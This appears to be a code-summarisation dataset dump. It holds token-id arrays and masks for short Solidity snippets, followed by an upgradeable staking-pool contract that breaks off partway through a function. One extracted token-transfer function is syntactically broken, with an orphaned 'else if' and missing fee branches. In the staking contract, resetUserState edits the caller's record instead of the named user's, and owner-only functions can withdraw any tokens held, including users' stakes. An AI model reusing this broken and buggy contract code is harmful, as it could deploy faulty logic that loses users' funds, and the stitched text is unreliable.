0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4183,
26040,
12,
11890,
279,
16,
2254,
324,
13,
1135,
261,
11890,
13,
288,
203,
3639,
569,
563,
273,
279,
380,
324,
31,
203,
3639,
309,
261,
70,
422,
374,
747,
563,
342,
324,
422,
279,
13,
288,
203,
5411,
327,
279,
380,
324,
31,
203,
5411,
604,
31,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xEe6f4722066cac06A570d10dEB46430280B816D2/sources/XPlanet.sol | calculate feesend the fee to the contract | function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
if (
sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex
) {
if (recipient != pair) {
require(
balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
}
uint256 feeswap;
uint256 feesum;
uint256 fee;
Taxes memory currentTaxes;
bool useLaunchFee = !exemptFee[sender] &&
!exemptFee[recipient] &&
block.number < genesis_block + deadline;
fee = 0;
else if (recipient == pair && !useLaunchFee) {
feeswap =
sellTaxes.liquidity +
sellTaxes.marketing +
sellTaxes.dev ;
feesum = feeswap;
currentTaxes = sellTaxes;
feeswap =
taxes.liquidity +
taxes.marketing +
taxes.dev ;
feesum = feeswap;
currentTaxes = taxes;
feeswap = launchtax;
feesum = launchtax;
}
fee = (amount * feesum) / 100;
if (fee > 0) {
if (feeswap > 0) {
uint256 feeAmount = (amount * feeswap) / 100;
super._transfer(sender, address(this), feeAmount);
}
}
}
| 9,248,214 | [
1,
11162,
1656,
281,
409,
326,
14036,
358,
326,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
3849,
288,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
5912,
3844,
1297,
506,
6802,
2353,
3634,
8863,
203,
203,
3639,
309,
16051,
338,
5744,
14667,
63,
15330,
65,
597,
401,
338,
5744,
14667,
63,
20367,
5717,
288,
203,
5411,
2583,
12,
313,
14968,
1526,
16,
315,
1609,
7459,
486,
3696,
8863,
203,
3639,
289,
203,
203,
3639,
309,
261,
15330,
422,
3082,
597,
401,
338,
5744,
14667,
63,
20367,
65,
597,
401,
67,
549,
372,
24237,
11433,
13,
288,
203,
5411,
2583,
12,
203,
7734,
11013,
951,
12,
20367,
13,
397,
3844,
1648,
943,
16936,
3039,
16,
203,
7734,
315,
6225,
854,
9943,
310,
943,
16936,
3039,
6,
203,
5411,
11272,
203,
3639,
289,
203,
203,
3639,
309,
261,
203,
5411,
5793,
480,
3082,
597,
401,
338,
5744,
14667,
63,
20367,
65,
597,
401,
338,
5744,
14667,
63,
15330,
65,
597,
401,
67,
549,
372,
24237,
11433,
203,
3639,
262,
288,
203,
5411,
309,
261,
20367,
480,
3082,
13,
288,
203,
7734,
2583,
12,
203,
10792,
11013,
951,
12,
20367,
13,
397,
3844,
1648,
943,
16936,
3039,
16,
203,
10792,
315,
6225,
854,
9943,
310,
943,
16936,
3039,
6,
203,
7734,
11272,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
1656,
281,
91,
438,
31,
203,
3639,
2254,
5034,
1656,
281,
379,
31,
203,
3639,
2254,
5034,
14036,
31,
203,
3639,
399,
10855,
3778,
783,
2
]
|
./full_match/1/0x0418A53b6b609cE54281A776103d893F26a300A7/sources/contracts/autopay/base/ProcessorManagerV2.sol | solhint-disable-line not-rely-on-time
| emit BaseFeeUpdated(msg.sender, baseFee, newBaseFee_, block.timestamp); | 4,971,089 | [
1,
18281,
11317,
17,
8394,
17,
1369,
486,
17,
266,
715,
17,
265,
17,
957,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
3626,
3360,
14667,
7381,
12,
3576,
18,
15330,
16,
1026,
14667,
16,
394,
2171,
14667,
67,
16,
1203,
18,
5508,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0xF15dc286CcDC14C3E274a81c4D0a7A4Fe4990109/sources/ModSalary.sol | View function to see pending Reward on frontend. | function pendingReward(address _user) public view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 claimableBlocks = min(block.number, endBlock) - user.lastBlockClaim;
uint256 claimablePayment = claimableBlocks.mul(user.claimPerBlock);
if (claimableBlocks > 0) {
return claimablePayment;
}
return 0;
}
| 11,166,803 | [
1,
1767,
445,
358,
2621,
4634,
534,
359,
1060,
603,
15442,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4634,
17631,
1060,
12,
2867,
389,
1355,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
1355,
15533,
203,
3639,
2254,
5034,
7516,
429,
6450,
273,
1131,
12,
2629,
18,
2696,
16,
679,
1768,
13,
300,
729,
18,
2722,
1768,
9762,
31,
203,
3639,
2254,
5034,
7516,
429,
6032,
273,
7516,
429,
6450,
18,
16411,
12,
1355,
18,
14784,
2173,
1768,
1769,
203,
540,
203,
3639,
309,
261,
14784,
429,
6450,
405,
374,
13,
288,
203,
5411,
327,
7516,
429,
6032,
31,
203,
3639,
289,
7010,
3639,
327,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract EmergencyWithdraw is OwnableUpgradeable {
event Received(address sender, uint amount);
/**
* @dev allow contract to receive ethers
*/
receive() external payable {
emit Received(_msgSender(), msg.value);
}
/**
* @dev get the eth balance on the contract
* @return eth balance
*/
function getEthBalance() external view returns (uint) {
return address(this).balance;
}
/**
* @dev withdraw eth balance
*/
function emergencyWithdrawEthBalance(address _to, uint _amount) external onlyOwner {
require(_to != address(0), "Invalid to");
payable(_to).transfer(_amount);
}
/**
* @dev get the token balance
* @param _tokenAddress token address
*/
function getTokenBalance(address _tokenAddress) external view returns (uint) {
IERC20 erc20 = IERC20(_tokenAddress);
return erc20.balanceOf(address(this));
}
/**
* @dev withdraw token balance
* @param _tokenAddress token address
*/
function emergencyWithdrawTokenBalance(
address _tokenAddress,
address _to,
uint _amount
) external onlyOwner {
IERC20 erc20 = IERC20(_tokenAddress);
erc20.transfer(_to, _amount);
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint internal constant WAD = 10**18;
uint internal constant RAY = 10**27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
// MATH Exponentiation
// x ^ n using base b
// EX: rpow(1.1 ether, 30e6, 1 ether) = (1.1 ^ 30e6) ether
function rpow(
uint x,
uint n,
uint b
) internal pure returns (uint z) {
// solhint-disable no-inline-assembly
assembly {
switch x
case 0 {
switch n
case 0 {
z := b
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := b
}
default {
z := x
}
let half := div(b, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, b)
}
}
}
}
}
}
contract Staking is OwnableUpgradeable, ReentrancyGuardUpgradeable, EmergencyWithdraw, DSMath {
using SafeERC20Upgradeable for IERC20MetadataUpgradeable;
struct UserInfo {
address addr; // Address of user
uint256 amount; // How many staked tokens the user has provided
uint256 lastRewardTime; // Last reward time
uint256 depositTime; // Last deposit time
uint256 lockDuration; // Lock duration in seconds
bool registered; // It will add user in address list on first deposit
}
struct UserLog {
address addr; // Address of user
uint256 amount1; // Raw amount of token
uint256 amount2; // Amount after tax of token in Deposit case.
uint256 amount3; // Pending reward
bool isDeposit; // Deposit or withdraw
uint256 logTime; // Log timestamp
}
// Percentage nominator: 1% = 100
uint256 private constant _RATE_NOMINATOR = 10_000;
// Total second in a year
uint256 public constant SECONDS_YEAR = 365 days;
// The reward token
IERC20MetadataUpgradeable public rewardToken;
// The staked token
IERC20MetadataUpgradeable public stakedToken;
// Info of each user that stakes tokens (stakedToken)
mapping(address => UserInfo) public userInfo;
// User list
address[] public userList;
// User logs
UserLog[] private _userLogs;
// Max reward tokens per pool
uint256 public maxRewardPerPool;
// Claimed reward tokens per pool
uint256 public claimedRewardPerPool;
// Max staked tokens per pool
uint256 public maxStakedPerPool;
// Whether a limit is set for users
bool public hasUserLimit;
// Max staked tokens per user (0 if none)
uint256 public maxStakedPerUser;
// Fixed APY, default is 100%
uint256 public fixedAPY;
// Pool mode: AUTO COMPOUND as default
bool public isAutoCompound;
// Current staked tokens per pool
uint256 public currentStakedPerPool;
// The Pool start time.
uint256 public startTime;
// The Pool end time.
uint256 public endTime;
// Freeze start time
uint256 public freezeStartTime;
// Freeze end time
uint256 public freezeEndTime;
// Minimum deposit amount
uint256 public minDepositAmount;
// Time for withdraw. Allow user can withdraw if block.timestamp >= withdrawTime
uint256 public withdrawTime;
// Withdraw mode
// 0: Apply withdrawTime to both (stake + reward)
// 1: Apply withdrawTime to stake
// 2: Apply withdrawTime to reward
uint256 public withdrawMode;
// Global lock to user mode
bool public enableLockToUser;
// Global lock duration
uint256 public lockDuration;
// Operator
mapping(address => bool) public isOperator;
event UserDeposit(address indexed user, uint256 amount);
event UserWithdraw(address indexed user, uint256 amount);
event NewStartAndEndTimes(uint256 startTime, uint256 endTime);
event NewFreezeTimes(uint256 freezeStartTime, uint256 freezeEndTime);
/**
* @dev Upgradable initializer
*/
function __Staking_init(
IERC20MetadataUpgradeable _stakedToken,
IERC20MetadataUpgradeable _rewardToken,
uint256 _maxStakedPerPool,
uint256 _startTime,
uint256 _endTime,
uint256 _maxStakedPerUser,
uint256 _minDepositAmount,
uint256 _withdrawTime,
uint256 _withdrawMode,
uint256 _fixedAPY,
bool _isAutoCompound,
address _admin
) external initializer {
__Ownable_init();
__ReentrancyGuard_init();
stakedToken = _stakedToken;
rewardToken = _rewardToken;
maxStakedPerPool = _maxStakedPerPool;
// 100% = 10000 = _RATE_NOMINATOR
fixedAPY = _fixedAPY;
isAutoCompound = _isAutoCompound;
startTime = _startTime;
endTime = _endTime;
minDepositAmount = _minDepositAmount;
withdrawTime = _withdrawTime;
withdrawMode = _withdrawMode;
if (_maxStakedPerUser > 0) {
hasUserLimit = true;
maxStakedPerUser = _maxStakedPerUser;
}
if (_admin != _msgSender()) {
// Transfer ownership to the admin address who becomes owner of the contract
transferOwnership(_admin);
}
enableLockToUser = true;
}
/**
* @dev Function to add a account to blacklist
*/
function fSetOperator(address _pAccount, bool _pStatus) external onlyOwner {
require(isOperator[_pAccount] != _pStatus, "Added");
isOperator[_pAccount] = _pStatus;
}
/*
* @notice Compound mode is only enabled when stake token = reward token and isAutoCompound is true
*/
function canCompound() public view returns (bool) {
return address(stakedToken) == address(rewardToken) && isAutoCompound;
}
/*
* @notice Update compound mode
*/
function setCompound(bool _mode) external onlyOwner {
isAutoCompound = _mode;
}
/*
* @notice Get remaining reward
*/
function getRemainingReward() public view returns (uint256) {
if (maxRewardPerPool > claimedRewardPerPool) return maxRewardPerPool - claimedRewardPerPool;
return 0;
}
/*
* @notice View function to see pending reward on frontend.
* @param _user: user address
* @return Pending reward for a given user
*/
function getPendingReward(address _user) public view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint userReward;
if (block.timestamp > user.lastRewardTime && currentStakedPerPool != 0) {
uint256 multiplier = _getMultiplier(user.lastRewardTime, block.timestamp);
if (multiplier == 0) return 0;
if (canCompound()) {
// APY = 100% = 1
// SecondsPerYear = 365 * 24 * 60 * 60 = 31536000 (365 days)
// Duration = n
// InitialAmount = P
// FinalAmount = P * ( 1 + APY/SecondsPerYear )^n
// Compounded interest = FinalAmount - P;
uint rate = rpow(WAD + (fixedAPY * WAD) / SECONDS_YEAR / _RATE_NOMINATOR, multiplier, WAD);
userReward = wmul(user.amount, rate - WAD);
} else {
// FinalAmount = P * APY/SecondsPerYear * n
// Compounded interest = FinalAmount - P;
userReward = (user.amount * fixedAPY * multiplier) / SECONDS_YEAR / _RATE_NOMINATOR;
}
}
return userReward;
}
/*
* @notice Deposit staked tokens and collect reward tokens (if any)
* @param _amount: amount to withdraw (in rewardToken)
*/
function deposit(uint256 _amount) external nonReentrant {
require(isFrozen() == false, "Deposit is frozen");
if (maxStakedPerPool > 0) {
require((currentStakedPerPool + _amount) <= maxStakedPerPool, "Exceed max staked tokens");
}
UserInfo storage user = userInfo[msg.sender];
require((user.amount + _amount) >= minDepositAmount, "User amount below minimum");
if (hasUserLimit) {
require((_amount + user.amount) <= maxStakedPerUser, "User amount above limit");
}
user.depositTime = block.timestamp;
uint256 pending;
if (user.amount > 0) {
pending = getPendingReward(msg.sender);
if (pending > 0) {
// If pool mode is non-compound -> transfer rewards to user
// Otherwise, compound to user amount
if (canCompound()) {
user.amount += pending;
currentStakedPerPool += pending;
claimedRewardPerPool += pending;
} else {
_safeRewardTransfer(address(msg.sender), pending);
}
user.lastRewardTime = block.timestamp;
}
} else {
if (user.registered == false) {
userList.push(msg.sender);
user.registered = true;
user.addr = address(msg.sender);
user.lastRewardTime = block.timestamp;
// We're not apply lock per user this time
user.lockDuration = 0;
}
}
uint256 addedAmount_;
if (_amount > 0) {
// Check real amount to avoid taxed token
uint256 previousBalance_ = stakedToken.balanceOf(address(this));
stakedToken.safeTransferFrom(address(msg.sender), address(this), _amount);
uint256 newBalance_ = stakedToken.balanceOf(address(this));
addedAmount_ = newBalance_ - previousBalance_;
user.amount += addedAmount_;
currentStakedPerPool += addedAmount_;
}
_addUserLog(msg.sender, _amount, addedAmount_, pending, true);
emit UserDeposit(msg.sender, _amount);
}
/*
* @notice Withdraw staked tokens and collect reward tokens
* @param _amount: amount to withdraw (in rewardToken)
*/
function withdraw(uint256 _amount) external nonReentrant {
require(isFrozen() == false, "Withdraw is frozen");
bool isClaim = _amount == 0;
UserInfo storage user = userInfo[msg.sender];
if (withdrawMode == 0 || (withdrawMode == 1 && !isClaim) || (withdrawMode == 2 && isClaim)) {
require(block.timestamp >= withdrawTime, "Withdraw not available");
if (enableLockToUser) {
require(block.timestamp >= user.depositTime + lockDuration, "Global lock");
}
}
// Claim reward
uint256 pending = getPendingReward(msg.sender);
if (pending > 0) {
// If pool mode is non-compound -> transfer rewards to user
// Otherwise, compound to user amount
if (canCompound()) {
user.amount += pending;
currentStakedPerPool += pending;
claimedRewardPerPool += pending;
} else {
_safeRewardTransfer(address(msg.sender), pending);
}
user.lastRewardTime = block.timestamp;
}
// Unstake
if (_amount > 0) {
require(block.timestamp >= user.depositTime + user.lockDuration, "Locked");
if (_amount > user.amount) {
// Exit pool, withdraw all
_amount = user.amount;
}
user.amount -= _amount;
currentStakedPerPool -= _amount;
stakedToken.safeTransfer(address(msg.sender), _amount);
}
_addUserLog(msg.sender, _amount, 0, pending, false);
emit UserWithdraw(msg.sender, _amount);
}
/*
* @notice Add user log
*/
function _addUserLog(
address _addr,
uint256 _amount1,
uint256 _amount2,
uint256 _amount3,
bool _isDeposit
) private {
_userLogs.push(UserLog(_addr, _amount1, _amount2, _amount3, _isDeposit, block.timestamp));
}
/*
* @notice Return length of user logs
*/
function getUserLogLength() external view returns (uint) {
return _userLogs.length;
}
/*
* @notice View function to get user logs.
* @param _offset: offset for paging
* @param _limit: limit for paging
* @return get users, next offset and total users
*/
function getUserLogsPaging(uint _offset, uint _limit)
external
view
returns (
UserLog[] memory users,
uint nextOffset,
uint total
)
{
uint totalUsers = _userLogs.length;
if (_limit == 0) {
_limit = 1;
}
if (_limit > totalUsers - _offset) {
_limit = totalUsers - _offset;
}
UserLog[] memory values = new UserLog[](_limit);
for (uint i = 0; i < _limit; i++) {
values[i] = _userLogs[_offset + i];
}
return (values, _offset + _limit, totalUsers);
}
/*
* @notice return length of user addresses
*/
function getUserListLength() external view returns (uint) {
return userList.length;
}
/*
* @notice View function to get users.
* @param _offset: offset for paging
* @param _limit: limit for paging
* @return get users, next offset and total users
*/
function getUsersPaging(uint _offset, uint _limit)
external
view
returns (
UserInfo[] memory users,
uint nextOffset,
uint total
)
{
uint totalUsers = userList.length;
if (_limit == 0) {
_limit = 1;
}
if (_limit > totalUsers - _offset) {
_limit = totalUsers - _offset;
}
UserInfo[] memory values = new UserInfo[](_limit);
for (uint i = 0; i < _limit; i++) {
values[i] = userInfo[userList[_offset + i]];
}
return (values, _offset + _limit, totalUsers);
}
/*
* @notice isFrozed returns if contract is frozen, user cannot call deposit, withdraw, emergencyWithdraw function
* If this pool link with another ico project, the pool will be frozen when it's raising
*/
function isFrozen() public view returns (bool) {
return block.timestamp >= freezeStartTime && block.timestamp <= freezeEndTime;
}
/*
* @notice Reset user state
* @dev Needs to be for emergency.
*/
function resetUserState(
address _userAddress,
uint256 _amount,
uint256 _lastRewardTime,
uint256 _depositTime,
uint256 _lockDuration,
bool _registered
) external onlyOwner {
UserInfo storage user = userInfo[msg.sender];
user.addr = _userAddress;
user.amount = _amount;
user.lastRewardTime = _lastRewardTime;
user.depositTime = _depositTime;
user.lockDuration = _lockDuration;
user.registered = _registered;
}
/*
* @notice Stop rewards
* @dev Only callable by owner. Needs to be for emergency.
*/
function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {
